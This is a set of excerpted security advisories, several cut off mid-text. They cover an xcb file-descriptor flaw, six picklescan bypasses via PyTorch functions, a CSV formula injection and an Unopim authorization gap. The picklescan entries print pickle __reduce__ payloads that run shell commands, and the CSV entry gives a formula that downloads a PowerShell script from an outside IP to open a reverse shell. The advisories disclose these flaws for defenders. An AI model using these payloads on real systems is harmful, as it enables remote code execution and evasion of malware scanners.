ghsa

The API of `xcb::Connection` has constructors which allow an arbitrary `RawFd` to be used as a socket connection. On either failure of these constructors or on the drop of `Connection`, it closes the associated file descriptor. Thus, a program which uses an `OwnedFd` (such as a `UnixStream`) as the file descriptor can close the file descriptor and continue to attempt using it or close an already-closed file descriptor, violating I/O safety. Starting in version 1.6.0, `xcb` provides `Connection::connect_with_fd` and `Connection::connect_with_fd_and_extensions` as safe alternatives and deprecates the problematic functions.

### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malici...

### Summary Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops class EvilTorchJitUnsupportedTensorOpsExecWrapper: def __reduce__(self): code = '__import__("os").system("whoami")' glob = {} loc = {} return unsupported_tensor_ops.execWrapper, (code, glob, loc) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle...

### Summary Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.data.datapipes.utils.decoder as decoder class EvilTorchUtilsDataDatapipesDecoder: def __reduce__(self): extension = 'pickle' class RCE: def __reduce__(self): return os.system, ('whoami',) data = pickle.dumps(RCE()) return decoder.basichandlers, (extension, data) ``` ### Impact Who is impacted? Any organiza...

### Summary Using torch.utils.collect_env.run function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.collect_env.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.collect_env as collect_env class EvilTorchUtilsCollectEnvRun: def __reduce__(self): command = 'touch /tmp/collect_env_run_success' return collect_env.run, (command,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but ...

### Summary Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import types import torch.fx.experimental.symbolic_shapes as symbolic_shapes class EvilTorchFxSymbolicShapesEvaluateGuardsExpression: def __reduce__(self): fake_self = str code = "__import__('os').system('whoami')" args = [] return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args) ``` ### ...

### Summary Using torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import types import torch._dynamo.guards as guards class EvilTorchDynamoGuardsGet: def __reduce__(self): fake_self = types.SimpleNamespace(scope={}) name = "__import__('os').system('whoami')" return guards.GuardBuilder.get, (fake_self, name) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the i...

### Summary Using torch.utils.bottleneck.__main__.run_cprofile function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_cprofile function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.bottleneck.__main__ as bottleneck_main class EvilTorchUtilsBottleneckRunCprofile: def __reduce__(self): code = '__import__("os").system("whoami")' globs = {} return bottleneck_main.run_cprofile, (code, globs) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the...

### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text. ### Details A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe​ using​ command: `=cmd|' /C calc'!A0​` The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypas...

### Summary In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID. **Severity**: High CVSS Score 8.1 (CVSS 3.1 Vector: [AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H&version=3.1)) **Category**: Broken Access Control / Missing Authorization (OWASP A01:2021) **Impact**: Unauthorized product deletion -> data loss, possible business disruption ### Affected Behavior **Single delete (enforced):** **DELETE** `/admin/catalog/products/{id}` returns 401 with "This action is unauthorized" for users lacking the Delete privilege. **Mass delete (not enforced):** **POST** `/admin/catalog/products/mass-delete` allows deletion without the Delete privilege....